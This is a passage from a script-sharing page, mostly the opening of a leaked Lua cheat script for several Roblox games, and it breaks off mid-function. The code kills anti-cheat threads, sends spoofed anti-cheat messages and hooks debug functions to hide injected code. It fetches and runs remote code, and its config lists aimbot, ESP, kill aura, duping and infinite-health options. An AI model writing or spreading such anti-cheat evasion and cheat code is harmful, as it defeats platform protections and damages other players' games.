for bronx 3
Key RequiredUniversal

for bronx 3

Universal Scriptdivinewashereeedivinewashereee 6.2K views 1.9K executesUpdated Aug 26, 2025
5.0/ 5(6 votes)
60100% Positive
Lua Script•15986 lines (727996 chars)
if getgenv().loaded then 
    return
end 

getgenv().loaded = true 

local StarterGui = game:GetService("StarterGui")

StarterGui:SetCore("SendNotification", {
    Title = "script loading..",
    Text = "wait 8 seconds to load",
    Duration = 8, -- seconds the notification stays on screen
    Button1 = "Got it"
})


task.wait(8)
StarterGui:SetCore("SendNotification", {
    Title = "❗",
    Text = "leaked by .gg/sleepyhub if you dont listen to king vyylora you gotta face the consequences",
    Duration = 8, -- seconds the notification stays on screen
    Button1 = "Got it"
})

if LPH_OBFUSCATED == nil then
    local assert = assert
    local type = type
    local setfenv = setfenv
    LPH_ENCNUM = function(toEncrypt, ...)
        assert(type(toEncrypt) == "number" and #{...} == 0, "LPH_ENCNUM only accepts a single constant double or integer as an argument.")
        return toEncrypt
    end
    LPH_NUMENC = LPH_ENCNUM
    LPH_ENCSTR = function(toEncrypt, ...)
        assert(type(toEncrypt) == "string" and #{...} == 0, "LPH_ENCSTR only accepts a single constant string as an argument.")
        return toEncrypt
    end
    LPH_STRENC = LPH_ENCSTR
    LPH_ENCFUNC = function(toEncrypt, encKey, decKey, ...)
        
        assert(type(toEncrypt) == "function" and type(encKey) == "string" and #{...} == 0, "LPH_ENCFUNC accepts a constant function, constant string, and string variable as arguments.")
        return toEncrypt
    end
    LPH_FUNCENC = LPH_ENCFUNC
    LPH_JIT = function(f, ...)
        assert(type(f) == "function" and #{...} == 0, "LPH_JIT only accepts a single constant function as an argument.")
        return f
    end
    LPH_JIT_MAX = LPH_JIT
    LPH_NO_VIRTUALIZE = function(f, ...)
        assert(type(f) == "function" and #{...} == 0, "LPH_NO_VIRTUALIZE only accepts a single constant function as an argument.")
        return f
    end
    LPH_NO_UPVALUES = function(f, ...)
        assert(type(setfenv) == "function", "LPH_NO_UPVALUES can only be used on Lua versions with getfenv & setfenv")
        assert(type(f) == "function" and #{...} == 0, "LPH_NO_UPVALUES only accepts a single constant function as an argument.")
        local env = getrenv()
        return setfenv(
            LPH_NO_VIRTUALIZE(function(...)
                return func(...)
            end),
            setmetatable(
                {
                    func = f
                },
                {
                    __index = env,
                    __newindex = env
                }
            )
        )
    end
    LPH_CRASH = function(...)
        assert(#{...} == 0, "LPH_CRASH does not accept any arguments.")
        game:Shutdown()
        while true do end
    end
    LRM_IsUserPremium = false
    LRM_LinkedDiscordID = "0"
    LRM_ScriptName = "bronx.lol"
    LRM_TotalExecutions = 0
    LRM_SecondsLeft = math.huge
    LRM_UserNote = "Developer";
end;

local Game_Name = (game.PlaceId == 4991214437 and "Town") or (game.PlaceId == 18642421777 and "The Bronx") or (game.PlaceId == 16472538603 and "The Bronx") or (game.PlaceId == 13643807539 and "South Bronx") or (game.PlaceId == 93612682780562 and "South Bronx") or (game.PlaceId == 14413475235 and "South Bronx") or (game.PlaceId == 104715542330896 and "BlockSpin") or (game.PlaceId == 71600459831333 and "Street Life") or "Universal" or game.PlaceId == 13643807539

if not getexecutorname then
    getexecutorname = identifyexecutor
end

local Solara = string.match(getexecutorname(), "Solara") == "Solara" or string.match(getexecutorname(), "Xeno") == "Xeno" or getexecutorname() == string.match(getexecutorname(), "Zorara") == "Zorara";

local cloneref = cloneref or function(...) return ... end

local Services = setmetatable({}, {
    __index = LPH_NO_VIRTUALIZE(function(self, service, key)
        if Solara and (service == "VirtualInputManager") and (Game_Name == "The Bronx") then
            return {SendKeyEvent = function() end}
        end
        return cloneref(game:GetService(service))
    end)
})

if Game_Name == "South Bronx" and not Solara then

         local _getallthreads = LPH_JIT_MAX(function()
            local threads = {}
            for i, v in getreg() do
                if type(v) == 'thread' then
                    table.insert(threads, v)
                end
            end
            return threads
        end)

        local _gettenv = LPH_JIT_MAX(function(Thread)
            return getfenv(debug.info(Thread, 1, 'f'))
        end)

        if gettenv then
            _gettenv = gettenv
        end

        local Filter_Nil_Instances = LPH_JIT_MAX(function(Name) 
            local Found = nil 

            for _, Object in getnilinstances() do  
                if tostring(Object):find(Name) then 
                    Found = Object
                end
            end

            return Found
        end)

        local Filter_Table = LPH_JIT_MAX(function(Table, Name)
            local Found, Index = nil, nil

            for _, Object in Table do 

                if tostring(_):lower():find(tostring(Name):lower()) then 
                    Found = Object
                    Index = _
                end
            end

            return Found, Index
        end)

        local Search_Threads = LPH_JIT_MAX(function(Table, Variable)
            local Threads = {}

            for NO, _thread in pairs(Table) do
                local T_ENV = _gettenv(_thread)

                if T_ENV[Variable] then
                    table.insert(Threads, _thread)
                end
            end

            return Threads
        end)

        local Get_AntiCheat_Threads = LPH_JIT_MAX(function()
            local Threads = _getallthreads()
            local WeHaveAHacker = Search_Threads(Threads, 'WeHaveAHacker')
            if WeHaveAHacker[1] then
                return WeHaveAHacker
            end
        end)

        local AntiCheat_Threads = {}
        local AntiCheat_Encoded = {
            [1] = "iFPjbrlufvSzsYurCCdWeFbPeNBWzxywGWLNpzgQVVvkLaoDJjImgWFETWVzc2FnZVR5cGU=",
            [2] = "AjimhYxuTcBxLtetPTqLQKsdsjDiWNpsPSoXToFfvftufSnLTemZUVKTWVzc2FnZVUlZm8=",
            [3] = "VFevcWxuZHlvFWejJERNXupJDNxvjnIBPHBNZgSMHNOeQURICksIFETWVzc2FnZVR5cGU=",
            [4] = "RJLHPqjgyYwiGKfgSdISiCpvzGmdJKBkWUMMZHxtipCmivjZdXzDWsTWVzc2FnZUlDHbIdA=="
        }

        local Anti_Cheat_Script = Filter_Nil_Instances('?')

        if not Anti_Cheat_Script then
            repeat task.wait()
            Anti_Cheat_Script = Filter_Nil_Instances('?')
            until Anti_Cheat_Script~=nil
        end

        local AntiCheat_Function, Function_Index = Filter_Table(getsenv(Anti_Cheat_Script), "HPv")
        if not AntiCheat_Function then
            repeat task.wait()
            Anti_Cheat_Script = Filter_Nil_Instances('?')
            AntiCheat_Function, Function_Index = Filter_Table(getsenv(Anti_Cheat_Script), "HPv")

            until AntiCheat_Function~=nil
        end

        local Killable_Threads = {[1] = true, [3] = true, [4] = true}

        local XVNP_L = LPH_JIT_MAX(function(...)
            local Random_Message = AntiCheat_Encoded[math.random(1, #AntiCheat_Encoded)]
            return AntiCheat_Function(Random_Message)
        end)

        Services.RunService.RenderStepped:Connect(LPH_JIT_MAX(function()
            AntiCheat_Threads = Get_AntiCheat_Threads()

            if AntiCheat_Threads then
                for i = 1, #AntiCheat_Threads do
                    local Thread = AntiCheat_Threads[i]

                    if Thread and Killable_Threads[i] == true then
                        task.cancel(Thread)
                    end
                end
            end

            XVNP_L()
        end))
    task.wait(5)
end

local script_key;

if LPH_OBFUSCATED then
    script_key = getfenv().script_key
end

if script_key then
    writefile("BronxLol_Key.txt", script_key)
end

do 
    Players = Services.Players;
    ReplicatedStorage = Services.ReplicatedStorage;
    UserInputService = Services.UserInputService;
    Workspace = Services.Workspace;
    RunService = Services.RunService;
    ProximityPromptService = Services.ProximityPromptService;
    MarketplaceService = Services.MarketplaceService;
    StarterGui = Services.StarterGui
    VirtualInputManager = Services.VirtualInputManager;
    Lighting = Services.Lighting
    mathrandom = math.random;
    mathabs = math.abs;
    Mobile = UserInputService.TouchEnabled

    Cars = {}

    Camera = Workspace.CurrentCamera

    LocalPlayer = Players.LocalPlayer
    Mouse = LocalPlayer:GetMouse()

    Move_Mouse_Function = mousemoverel
end;

local FireServer, InvokeServer, UnreliableFireServer = Instance.new("RemoteEvent").FireServer, Instance.new("RemoteFunction").InvokeServer, Instance.new("UnreliableRemoteEvent").FireServer

if isfunctionhooked then
    if isfunctionhooked(FireServer) or isfunctionhooked(UnreliableFireServer) or isfunctionhooked(InvokeServer) and LPH_OBFUSCATED then
        return Services.LocalPlayer:Kick("bronx.lol | Security : You are running another script, please disable it and execute again")
    end
end

local SafePosition = CFrame.new(-437, 33, 6653)

local Config = {
    ["TheBronx"] = {
        ["Selected_Item"] = "...";

        ["TeleportationList"] = {
            ["Deli Market 🥪"] = CFrame.new(-602.3944091796875, 253.73313903808594, -584.2000732421875);
            ["Capital One Bank 🏦"] = CFrame.new(-205, 284, -1214);
            ["Ice Box 🧊"] = CFrame.new(-198.8927001953125, 283.8486633300781, -1170.4500732421875);
            ["Domino's 🍕"] = CFrame.new(-742.5213012695312, 253.22897338867188, -946.2092895507812);
            ["Hotel 🏨"] = CFrame.new(-1012, 266, -933);
            ["Drip Store 👓"] = CFrame.new(67462.6953125, 10489.0322265625, 546.6762084960938);
            ["Gun Shop 🔫"] = CFrame.new(92970.4140625, 122097.953125, 17023.623046875);
            ["Car Dealer 🚗"] = CFrame.new(-378.6668701171875, 253.2564697265625, -1245.4259033203125);
            ["Laundromat 💷"] = CFrame.new(-979.4635620117188, 253.65318298339844, -689.3339233398438);
            ["Studio 🎙"] = CFrame.new(93408.453125, 14484.7158203125, 570.139404296875);
            ["Basketball Court 🏀"] = CFrame.new(-1055.6407470703125, 253.51364135742188, -497.10528564453125);
            ["Robbable Ice Box 🧊"] = CFrame.new(-209.68360900878906, 283.4959411621094, -1265.5286865234375);
            ["Exotic Dealer / Grass House 🍃"] = CFrame.new(-1521.943115234375, 272.5462646484375, -984.3020629882812);
            ["Safe 🔒"] = CFrame.new(-190, 295, -1010);
            ["Roof Top / Bank Tools 🛠"] = CFrame.new(-385, 340, -557);
            ["Second Gun Shop 🔫"] = CFrame.new(66202, 123615.7109375, 5749.81689453125);
            ["Construction Job 🔨"] = CFrame.new(-1729, 371, -1171);
        };

        ["Modifications"] = newproxy(true);
    
        ["_Modifications"] = {
            ["DisableJamming"] = false;
            ["ModifySpreadValue"] = false;
            ["ModifyRecoilValue"] = false;
            ["Automatic"] = false;
            ["ModifyFireRate"] = false;
            ["ModifyReloadSpeed"] = false;
            ["ModifyEquipSpeed"] = false;
            ["InfiniteAmmo"] = false;
            ["InfiniteClips"] = false;
            ["InfiniteDamage"] = false;

            ["FireRateSpeed"] = 50;
            ["SpreadPercentage"] = 50;
            ["RecoilPercentage"] = 50;
            ["ReloadSpeed"] = 50;
            ["EquipSpeed"] = 50;
        };

        ["PlayerModifications"] = {
            ["InfiniteSleep"] = false;
            ["InfiniteStamina"] = false;
            ["InfiniteHunger"] = false;
            ["InstantInteract"] = false;
            ["InstantRevive"] = false;
            ["AutoPickupCash"] = false;
            ["AutoPickupBags"] = false;
            ["DisableCameraBobbing"] = false;
            ["DisableCameras"] = false;
            ["BypassLockedCars"] = false;
            ["DisableBloodEffects"] = false;
            ["NoJumpCooldown"] = false;
            ["NoRentPay"] = false;
            ["NoFallDamage"] = false;
            ["NoKnockback"] = false;
            ["InfiniteHealth"] = false;
            ["RespawnWhereYouDied"] = false;
        };

        ["InfiniteHealth"] = false;

        ["StoreDupedItem"] = false;
        ["Selected_Location"] = "...";
        ["ClickTeleportActive"] = false;

        ["PlayerUtilities"] = {
            ["SelectedPlayer"] = "...";
            ["BringingPlayer"] = false;
            ["SpectatePlayer"] = false;
            ["AutoKill"] = false;
            ["AutoRagdoll"] = false;
            ["BugPlayer"] = false;
        };

        ["VehicleModifications"] = {
            ["SpeedEnabled"] = false;
            ["SpeedValue"] = 10/1000;
            ["BreakEnabled"] = false;
            ["BreakValue"] = 50/1000;
            ["InstantStop"] = false;
            ["InstantStopBind"] = Enum.KeyCode.V;
        };

        ["Farms"] = {
            ["CollectDroppedMoney"] = false;

            ["CollectDroppedLoot"] = false;
            ["OnlyCollectGuns"] = false;

            ["AFKCheck"] = false;
            ["FarmConstructionJob"] = false;
            ["FarmBank"] = false;
            ["FarmHouses"] = false;
            ["FarmStudio"] = false;
            ["FarmTrash"] = false;
            ["AutoSellTrash"] = false;
        };

        ["KillAura"] = false;
        ["KillAuraRange"] = 300;
        ["KillAuraWhitelist"] = {};

        ["AutoDrop"] = false;
        ["MoneyAmount"] = false;

        ["Fly"] = {
            ["Enabled"] = false;
            ["Type"] = "CFrame";
            ["Speed"] = 50;
        };
    };

    ["BlockSpin"] = {
        ["LocalPlayer"] = {
            ["InfiniteStamina"] = false;
        };

        ["AutoFarming"] = {
            ["FarmMops"] = false;
            ["MopType"] = "Default";
        };
    };

    ["Road_To_Riches"] = {
        ["_Modifications"] = {
            ["ExplosiveBullets"] = false;
            ["InfiniteAmmo"] = false;
            ["InfiniteDamage"] = false;
            ["InstantReload"] = false;
            ["InstantEquip"] = false;
            ["Automatic"] = false;
            ["RapidFire"] = false;
            ["NoSpread"] = false;
            ["NoRecoil"] = false;
        };

        ["Locations"] = {
            ["ATM 🏧"] = CFrame.new(360, 2563, 1946);
            ["Gun Dealer 🔫"] = CFrame.new(231, 2545, 1065);
            ["Gold Shop 🪙"] = CFrame.new(-78.1158218383789, 2563.1123046875, 944.74365234375);
            ["Barber 💈"] = CFrame.new(1217.6531982421875, 2557.93896484375, 981.182861328125);
            ["Monderella 🍕"] = CFrame.new(428.89581298828125, 2563.31005859375, 1275.4918212890625);
            ["Deli 🥪"] = CFrame.new(-70.2744369506836, 2562.807861328125, 719.9676513671875);
            ["Library 📖"] = CFrame.new(53.477169036865234, 2562.908203125, 1960.6444091796875);
            ["Laboratory 🔬"] = CFrame.new(564, 2563, 1957);
            ["Hot Dog Stand 🌭"] = CFrame.new(295.57403564453125, 2562.7646484375, 1996.2435302734375);
            ["Gym 💪" ] = CFrame.new(-37.920719146728516, 2563.05029296875, 442.32647705078125);
            ["Banks Burgers 🍔"] = CFrame.new(794.2547607421875, 2562.93701171875, 311.8097229003906);
            ["Laundromat 💷"] = CFrame.new(402.6617126464844, 2562.892822265625, 1503.2645263671875);
            ["Cocaine Factory 🏭"] = CFrame.new(1227, 2529, 1987);
            ["Cooking Pots 🧪"] = CFrame.new(131, 2540, 1004);
            ["Scrap Metal ⚒️"] = CFrame.new(1049, 2563, 1052);
        };

        ["PackFarm"] = {
            ["Enabled"] = false;
            ["AllowedPacks"] = {};
            ["AllowedJunkies"] = {};
        };

        ["InfiniteClips"] = false;
        ["InfiniteStamina"] = false;
        ["InfiniteEnergy"] = false;

        ["Modifications"] = newproxy(true);

        ["InstantInteract"] = false;

        ["ESP"] = {
            ["Pots"] = false;
            ["AllowedPots"] = {}
        };
    };

    ["South_Bronx"] = {
        ["LocalPlayer_Config"] = {
            ["InstantInteract"] = false;
            ["DeleteOnKey"] = false;
            ["DeleteKey"] = nil;
            ["NoClip"] = false;
            ["HideName"] = false;
            ["InfiniteStamina"] = false;
            ["Speed"] = false;
            ["SpeedValue"] = 0.75;
        };

        ["TeleportMethod"] = "Damage";

        ["FarmingUtilities"] = {
            ["CardFarm"] = false;
            ["BoxFarm"] = false;
            ["ChipFarm"] = false;
            ["MarshmallowFarm"] = false;
            ["MarshmallowIncrement"] = 5;
        };

        ["OwnedBike"] = "Unknown";

        ["Guns"] = {};

        ["Selected_Item"] = "...";
        ["Item_Amount"] = 1;

        ["Locations"] = {
            ["Main Gun Store 🔫"] = CFrame.new(219, 6, -158);
            ["Black Market 💹"] = CFrame.new(671, 6, 251);
            ["DealerShip 🚗"] = CFrame.new(738, 6, 439);
            ["DealerShip Apartments 🌇"] = CFrame.new(717, 5, 548);
            ["Clothes Store 👕"] = CFrame.new(-197, 6, -74);
            ["Box Job Apartments 📦"] = CFrame.new(-527, 6, 142);
            ["Bank 💳"] = CFrame.new(-47, 6, -340);
            ["Fake ID Seller 🎫"] = CFrame.new(219, 6, -331);
            ["DOA Turf 🔴"] = CFrame.new(-335, 6, -415);
            ["OGZ Turf 🟣"] = CFrame.new(125, 6, -466);
            ["YGZ Turf 🟢"] = CFrame.new(3, 6, 223);
            ["Studio 🎙"] = CFrame.new(522, 6, -26);
            ["Shoe Store 👟"] = CFrame.new(525, 7, -184);
            ["Second Gun Store 🔫"] = CFrame.new(-459, 6, 328);
            ["Exclusive Gun Store 🔫"] = CFrame.new(1131, 4, 173);
        };
        
        ["Selected_Location"] = "...";

        ["Modifications"] = newproxy(true);

        ["_Modifications"] = {
            ["DisableJamming"] = false;
            ["ModifySpreadValue"] = false;
            ["ModifyRecoilValue"] = false;
            ["Automatic"] = false;
            ["ModifyFireRate"] = false;
            ["InstantKill"] = false;
            ["ModifyReloadSpeed"] = false;
            ["ModifyEquipSpeed"] = false;
            ["InfiniteAmmo"] = false;
            ["InfiniteClips"] = false;

            ["FireRateSpeed"] = 50;
            ["SpreadPercentage"] = 50;
            ["RecoilPercentage"] = 50;
            ["ReloadSpeed"] = 50;
            ["EquipSpeed"] = 50;
        };

        ["PlayerUtilities"] = {
            ["SelectedPlayer"] = "...";
            ["BringingPlayer"] = false;
            ["SpectatePlayer"] = false;
        };

        ["VehicleModifications"] = {
            ["SpeedEnabled"] = false;
            ["SpeedValue"] = 10/1000;
            ["BreakEnabled"] = false;
            ["BreakValue"] = 50/1000;
            ["InstantStop"] = false;
            ["InstantStopBind"] = Enum.KeyCode.V;
        };

        ["KillAura"] = false;
        ["KillAuraRange"] = 100;
        ["KillAuraWhitelist"] = {};
    };

    ["Game"] = {
        ["Ray_Systems"] = (Game_Name == "Road To Riches" and {"Raycast"} or Game_Name == "BlockSpin" and {"Raycast"} or Game_Name == "Town" and {"Raycast"} or Game_Name == "Universal" and {"Raycast","FindPartOnRay","FindPartOnRayWithWhitelist"} or Game_Name == "The Bronx" and {"FindPartOnRay"}  or Game_Name == "South Bronx" and {"Raycast"} or Game_Name == "Street Life" and {"Raycast"} or Game_Name == "Criminality" and {"Raycast"}) or {};
        ["Wall_Bang_Possible"] = ((Game_Name == "Universal" or Game_Name == "Criminality" or Game_Name == "South Bronx" or Game_Name == "The Bronx" or Game_Name == "Street Life"));
    };

    ["Aimlock"] = {
        ["Enabled"] = false;
        ["Aiming"] = false;
        ["TargetPart"] = "Head";
        ["MaxDistance"] = 300;
        ["Mode"] = "Toggle"; 
        ["Type"] = "Mouse"; 
        ["Keybind"] = nil;
        ["WallCheck"] = false;
        ["Priority"] = {};
        ["Whitelisted"] = {};
        ["DrawFieldOfView"] = false;
        ["UseFieldOfView"] = false;
        ["Radius"] = 100;
        ["FieldOfViewColor"] = Color3.new(1,1,1);
        ["FieldOfViewTransparency"] = 0.25;
        ["Sides"] = 100;
        ["Smoothness"] = 1;
        ["Snapline"] = false;
        ["SnaplineColor"] = Color3.new(1,1,1);
        ["SnaplineThickness"] = 1;
    };

    ["Silent"] = {
        ["Enabled"] = false;
        ["Targetting"] = false;
        ["TargetPart"] = {"Head"};
        ["Mode"] = "nil";
        ["MaxDistance"] = 300;
        ["Keybind"] = nil;
        ["WallCheck"] = false;
        ["WallBang"] = false;
        ["Priority"] = {};
        ["Whitelisted"] = {};
        ["DrawFieldOfView"] = false;
        ["UseFieldOfView"] = false;
        ["Radius"] = 100;
        ["FieldOfViewColor"] = Color3.new(1,1,1);
        ["FieldOfViewTransparency"] = 0.25;
        ["Sides"] = 100;
        ["HitChance"] = 100;
        ["Snapline"] = false;
        ["SnaplineColor"] = Color3.new(1,1,1);
        ["Damage"] = 100;
        ["SnaplineThickness"] = 1;
    };

    ["WorldVisuals"] = {
        ["SaturationEnabled"] = false;
        ["Saturation_Value"] = 1;

        ["FogColorEnabled"] = false;
        ["FogColor"] = Color3.new(1,1,1);

        ["AmbientEnabled"] = false;
        ["AmbientColor"] = Color3.new(1,1,1);

        ["FieldOfViewEnabled"] = false;
        ["FieldOfViewValue"] = 70;

        ["Fullbright"] = false;
    };

    ["MiscSettings"] = {
        ["Hitbox_Expander"] = {
            ["Enabled"] = false;
            ["Multiplier"] = 15;
            ["Color"] = Color3.new(1,1,1);
            ["Transparency"] = 0;
            ["Type"] = "Block";
            ["Material"] = "ForceField";
            ["Whitelist"] = {};
            ["Part"] = "HumanoidRootPart";
        };

        ["ModifySpeed"] = {
            ["Enabled"] = false;
            ["Value"] = 16;
        };

        ["ModifyJump"] = {
            ["Enabled"] = false;
            ["Infinity"] = false;
            ["Value"] = 50;
        };

        ["Fly"] = {
            ["Enabled"] = false;
            ["Type"] = "CFrame";
            ["Speed"] = 50;
        };

        ["SpinBot"] = {
            ["Enabled"] = false;
            ["Speed"] = 35;
        };

        ["No-Clip"] = false;
    };

    ["Guns"] = {};

    ESP = {
        Enabled = false,
        TeamCheck = false,
        MaxDistance = 500,
        FontSize = 12,
        Font = Enum.Font.Code,
        FadeOut = {
            OnDistance = false,
            OnDeath = true,
            OnLeave = false,
        },
        Options = { 
            Teamcheck = true, TeamcheckRGB = Color3.fromRGB(0, 255, 0),
            Friendcheck = true, FriendcheckRGB = Color3.fromRGB(0, 255, 0),
            Highlight = false, HighlightRGB = Color3.fromRGB(255, 0, 0),
        },
        Drawing = {
            Chams = {
                Enabled  = false,
                Thermal = true,
                FillRGB = Color3.fromRGB(119, 120, 255),
                Fill_Transparency = 80,
                OutlineRGB = Color3.fromRGB(0,0,0),
                Outline_Transparency = 80,
                VisibleCheck = false,
            },
            Names = {
                Enabled = false,
                Transparency = 0,
                RGB = Color3.fromRGB(255, 255, 255),
            },
            Flags = {
                Enabled = false,
            },
            Distances = {
                Enabled = false, 
                Position = "Bottom",
                Transparency = 0,
                RGB = Color3.fromRGB(255, 255, 255),
            },
            Weapons = {
                Enabled = false, WeaponTextRGB = Color3.fromRGB(119, 120, 255),
                Outlined = false,
                Gradient = false,
                Transparency = 0,
                GradientRGB1 = Color3.fromRGB(255, 255, 255), GradientRGB2 = Color3.fromRGB(119, 120, 255),
            },
            Inventory = {
                Enabled = false, RGB = Color3.fromRGB(255, 255, 255),
                Transparency = 0,
            },
            Healthbar = {
                Enabled = false,  
                HealthText = false, Lerp = true, HealthTextRGB = Color3.fromRGB(0, 255, 0),
                Width = 2.5,
                Transparency = 0,
                HealthTextTransparency = 0,
                Gradient = true, GradientRGB1 = Color3.fromRGB(255, 0, 0), GradientRGB2 = Color3.fromRGB(0,255,0)
            },
            Boxes = {
                Animate = true,
                RotationSpeed = 300,
                Gradient = false, GradientRGB1 = Color3.fromRGB(119, 120, 255), GradientRGB2 = Color3.fromRGB(0, 0, 0), 
                GradientFill = true, GradientFillRGB1 = Color3.fromRGB(119, 120, 255), GradientFillRGB2 = Color3.fromRGB(0, 0, 0), 
                Filled = {
                    Enabled = false,
                    Transparency = 0.75,
                    RGB = Color3.fromRGB(0, 0, 0),
                },
                Full = {
                    Enabled = true,
                    Transparency = 0,
                    RGB = Color3.fromRGB(255, 255, 255),
                },
                Bounding = {
                    Enabled = false,
                    Transparency = 0,
                    RGB = Color3.fromRGB(255, 255, 255),
                },
                Corner = {
                    Enabled = false,
                    Transparency = 0,
                    RGB = Color3.fromRGB(255, 255, 255),
                },
            };
        };
        Connections = {
            RunService = Services.RunService;
        };
        Fonts = {};
    };
};

--[[if not Solara and Game_Name == "The Bronx" then
    local DTC;

    repeat task.wait(.25) LPH_NO_VIRTUALIZE(function()
        for Index, Value in next, getgc(true) do
            if type(Value) == "table" then
                local Detected = rawget(Value, "Detected");
                if type(Detected) == "function" then
                    DTC = Detected
                end;
            end;
        end;
    end)()

    until DTC ~= nil
end]]

getgenv().library = {
    directory = "bronx.lol_remastered",
    folders = {
        "/fonts",
        "/configs",
        "/assets"
    },
    priority = {},
    whitelist = {},
    flags = {},
    config_flags = {},
    connections = {},   
    notifications = {notifs = {}},
    current_open; 
}

local Images = {"ESP.png", "World.png", "Wrench.png", "Settings.png", "Node.png", "cursor.png", "Bullet.png", "Snapline.png", "Pistol.png", "folder.png", "UZI.png", "FieldOfView2.png", "Lock.png", "Aimlock.png", "Cash.png", "Wheatt.png", "Pickkaxe.png", "unlocked.png"}

for _, path in next, library.folders do 
    makefolder(library.directory .. path)
end

for Index, Value in Images do
    local Location = library.directory.."/assets/"..Value
    if not isfile(Location) then
        local ImageDiddyAhhBlud = game:HttpGet("https://raw.githubusercontent.com/KingVonOBlockJoyce/imagessynex/main/"..Value)
        repeat wait() until ImageDiddyAhhBlud ~= nil
        writefile(Location, ImageDiddyAhhBlud)
    end
end

GetImage = LPH_NO_VIRTUALIZE(function(Name)
    local Location = library.directory.."/assets/"..Name
    if isfile(Location) then
        return getcustomasset(Location)
    end
end)

local Collide_Data = {}

local DefaultPlayerSettings = {}

if not Services.Players.LocalPlayer.Character then
    Services.Players.LocalPlayer.CharacterAdded:Wait()
    task.wait(1)
end

for Index, Value in Services.Players.LocalPlayer.Character:GetDescendants() do
    pcall(LPH_NO_VIRTUALIZE(function()
        if Value.CanCollide == true then
            Collide_Data[Value.Name] = true
        end
    end))
end

if not Solara then
    if Game_Name == "BlockSpin" then
        LPH_JIT_MAX(function()
            local Repr = loadstring(game:HttpGet("https://raw.githubusercontent.com/Ozzypig/repr/refs/heads/master/repr.lua"))()

		local Required = {
			"hookfunction",
			"getthreadcontext",
			"getconnections",
			"setthreadcontext",
			"isexecutorclosure",
			"hookmetamethod",
			"getrenv",
		}

		for _, v in next, Required do
			if not getgenv()[v] then
				game:GetService("Players").LocalPlayer:Kick(`Your executor does not support [{v}], which is REQUIRED to use the BlockSpin script.`)
			end
		end

		local OldDebugTraceback, OldDebugInfo, OldFenv = debug.traceback, debug.info, getfenv

		local BlacklistedRemoteArgumentNeedles = {
			"invalid_entry",
			"replicate_bil",
		}

		local BlacklistedCallerNeedles = {
			"Obfuscated",
		}

		if not shared.Hooking then
			shared.Hooking = {}
		end

		if not shared.Hooking.IncludeInStackFunctions then
			shared.Hooking.IncludeInStackFunctions = {}
		end

		shared.SafeHook = function(Original, Replacement)
			shared.Hooking.IncludeInStackFunctions[Original] = true
			return hookfunction(Original, Replacement)
		end

		local CoreGui = game:GetService("CoreGui")
		local RobloxGuis = {
			"RobloxGui",
			"TeleportGui",
			"RobloxPromptGui",
			"RobloxLoadingGui",
			"PlayerList",
			"RobloxNetworkPauseNotification",
			"PurchasePrompt",
			"HeadsetDisconnectedDialog",
			"ThemeProvider",
			"DevConsoleMaster",
		}

		local function FilterTable(InputTable)
			local OldContext = getthreadcontext()
			setthreadcontext(7)

			local Filtered = {}
			local GameInstance = game

			for Index, Value in ipairs(InputTable) do
				if typeof(Value) ~= "Instance" then
					table.insert(Filtered, Value)
				else
					if Value == CoreGui or Value == GameInstance then
						-- Insert only the default Roblox GUIs
						for _, GuiName in pairs(RobloxGuis) do
							local GuiInstance = CoreGui:FindFirstChild(GuiName)
							if GuiInstance then
								table.insert(Filtered, GuiInstance)
							end
						end

						if Value == GameInstance then
							for _, Child in pairs(GameInstance:GetChildren()) do
								if Child ~= CoreGui then
									table.insert(Filtered, Child)
								end
							end
						end
					else
						if not CoreGui:IsAncestorOf(Value) then
							table.insert(Filtered, Value)
						else
							-- Only include if it's a descendant of one of the default GUIs
							for _, DefaultGuiName in pairs(RobloxGuis) do
								local DefaultGuiInstance = CoreGui:FindFirstChild(DefaultGuiName)
								if DefaultGuiInstance then
									if Value == DefaultGuiInstance or DefaultGuiInstance:IsAncestorOf(Value) then
										table.insert(Filtered, Value)
										break
									end
								end
							end
						end
					end
				end
			end

			setthreadcontext(OldContext)
			return Filtered
		end

		local BlacklistedAssets = {}
		local ContentProvider = game:GetService("ContentProvider")

		local function logDebugMessage(...)
			local Strings = {}

			for _, v in next, { ... } do
				table.insert(Strings, tostring(v))
			end

			local Message = table.concat(Strings, ", ")
			warn(`{Message}\n`)
		end

		local function ValidTraceback(s)
			local dotPos = string.find(s, "%.")
			local colonPos = string.find(s, ":")

			if not dotPos then
				return false
			end

			if not colonPos then
				return true
			end

			return dotPos < colonPos
		end

		local function TracebackLines(str)
			local pos = 1
			return function()
				if not pos then
					return nil
				end
				local p1, p2 = string.find(str, "\r?\n", pos)
				local line
				if p1 then
					line = str:sub(pos, p1 - 1)
					pos = p2 + 1
				else
					line = str:sub(pos)
					pos = nil
				end
				return line
			end
		end

		OldDebugTraceback = shared.SafeHook(getrenv().debug.traceback, function()
			if checkcaller() then
				return OldDebugTraceback()
			end

			local Traceback = OldDebugTraceback()
			local NewTraceback = {}

			for Line in TracebackLines(Traceback) do
				if not ValidTraceback(Line) then
					continue
				end

				table.insert(NewTraceback, Line)
			end

			return table.concat(NewTraceback, "\n")
		end)

		OldDebugInfo = shared.SafeHook(getrenv().debug.info, function(...)
			local ToInspect, LevelOrInfo, _ThreadInfo = ...

			if
				checkcaller()
				or typeof(ToInspect) == "function"
				or typeof(ToInspect) == "thread"
				or not pcall(function(LevelOrInfo) -- Validate arguments
					OldDebugInfo(function() end, LevelOrInfo)
				end, LevelOrInfo)
			then
				return OldDebugInfo(...)
			end

			local ReconstructedConstructedStack = {}
			for Level = 2, 19997 do
				local Function, Source, Line, Name, NumberOfArgs, Varargs = OldDebugInfo(Level, "fslna")

				if not Function or not Source or not Line or not Name then
					break
				end

				if isexecutorclosure(Function) and not shared.Hooking.IncludeInStackFunctions[Function] then
					continue
				end

				table.insert(ReconstructedConstructedStack, {
					f = Function,
					s = Source,
					l = Line,
					n = Name,
					a = { NumberOfArgs, Varargs },
				})
			end

			local InfoLevel = ReconstructedConstructedStack[ToInspect]

			if not InfoLevel then
				-- Max level is 19997 so this guarantees that it will return nothing
				return OldDebugInfo(3e4, LevelOrInfo)
			end

			local ReturnResult = {}
			for idx, info in string.split(LevelOrInfo, "") do
				local Value = InfoLevel[info]

				if typeof(Value) == "table" then
					for _, v in Value do
						table.insert(ReturnResult, v)
					end

					continue
				end

				table.insert(ReturnResult, Value)
			end

			return table.unpack(ReturnResult, 1, #ReturnResult)
		end)

		OldFenv = shared.SafeHook(getrenv().getfenv, function(...)
			if checkcaller() then
				return OldFenv(...)
			end

			local ToInspect = ...

			if ToInspect == 0 then
				return getrenv()
			elseif ToInspect == nil then
				return OldFenv(...)
			end

			local Success, ResultingEnv = pcall(function()
				if typeof(ToInspect) == "number" then
					return OldFenv(ToInspect + 3)
				end

				return OldFenv(ToInspect)
			end)

